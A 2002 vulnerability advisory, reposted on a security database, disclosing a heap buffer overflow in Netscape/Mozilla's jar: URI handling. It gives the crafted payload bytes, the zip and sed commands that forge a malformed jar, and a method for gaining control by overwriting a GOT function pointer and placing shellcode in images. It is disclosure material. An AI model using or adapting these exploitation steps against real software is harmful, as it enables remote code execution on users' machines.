Netscape/Mozilla: Exploitable heap corruption via jar: URI handler.

Type securityvulns
Reporter Securityvulns
Modified 2002-11-15T00:00:00


The following is the text of an advisory (with a couple of typos fixed) that was sent to Netscape in early July. (-rw-r--r-- 1 root root 3210 Jul 8 17:07 jar-writeup)

This was one a several vulnerabilities reported in Netscape/Mozilla over that period. (Others included the previously posted zero-width gif problem, and PNG vulnerabilities.) This page shows that the bug was opened on 2002-07-15 18:54

(May not be accessible.)

I think 4 months is definately long enough to wait before disclosure.


Exploitable heap corruption via jar: URI handler.

Create a file, called test.gif with the following 6 'int's in it.

0x2d6e657a,0x65726568, 0x00000000,0x00000000, 0xdeadbeef,0xfee1600d

$ zip orig.jar test.gif adding: test.gif (deflated 17%) $ unzip -v orig.jar Archive: orig.jar Length Method Size Ratio Date Time CRC-32 Name -------- ------ ------- ----- ---- ---- ------ ---- 24 Defl:N 20 17% 07-08-02 16:11 b74deafe test.gif -------- ------- --- ------- 24 20 17% 1 file $ sed s/`printf '\x18'`/`printf '\x01'`/g orig.jar >new.jar $ unzip -v new.jar Archive: new.jar Length Method Size Ratio Date Time CRC-32 Name -------- ------ ------- ----- ---- ---- ------ ---- 1 Defl:N 20 -1900% 07-08-02 16:11 b74deafe test.gif -------- ------- --- ------- 1 20 -1900% 1 file $ cp new.jar ~/public_html

(This file only contains the 2 0x18s (24s) representing the realsize, so it works ok on this file. Actual exploit file was created with a hex editor.)

In Netscape open:


The jar file is retrieved, the requested file is found... ... 584 //-- Read the item into memory 585 // Inflate if necessary and save in mInflatedFileBuffer 586 // for sequential reading. 587 // (nsJAR needs the whole file in memory before passing it on) 588 char buf = (char)PR_Malloc(item->realsize); 589 if (!buf) return ZIP_ERR_MEMORY; 590 switch(item->compression) 591 { 592 case DEFLATED: 593 result = InflateItem(item, 0, buf); 594 break; ... A buffer is allocated for storing the data. The realsize value is used for the length. (Size 1 actually allocates 8 bytes, hence the padding.) The buf is the passed to the inflater. ... 1268 PRInt32 nsZipArchive::InflateItem( const nsZipItem aItem, PRFileDesc fOut, 1269 char bigBuf ) ... as bigBuf. Some temporary storage is made, and a chunk of decompression done. ... 1382 { 1383 //-- copy inflated buffer to our big buffer 1384 // Assertion makes sure we don't overflow bigBuf 1385 PR_ASSERT( outpos + ZIP_BUFLEN <= bigBufSize); 1386 char copyStart = bigBuf + outpos; 1387 memcpy(copyStart, outbuf, ZIP_BUFLEN); 1388 } ... The assertion doesn't fire. It should probably be made into a normal check as well.

We now have a heap based buffer overflow.

At some point in the future, chunk_free() is called, and a SEGV will occur with while referencing the values 0xdeadbeef and 0xfee1600d.

If these are replaced with (address of a function pointer)-12 and (address of user supplied code), when the function pointer is called, the user supplied code will execute.

I have successfully changed the flow of control in tests, by overwriting the function pointer for PR_Free in the global offset table of

"Shellcode" can be supplied in a previously loaded image. (A large area can be filled using compressed image files stored in a .jar as the source.)


-- zen-parse


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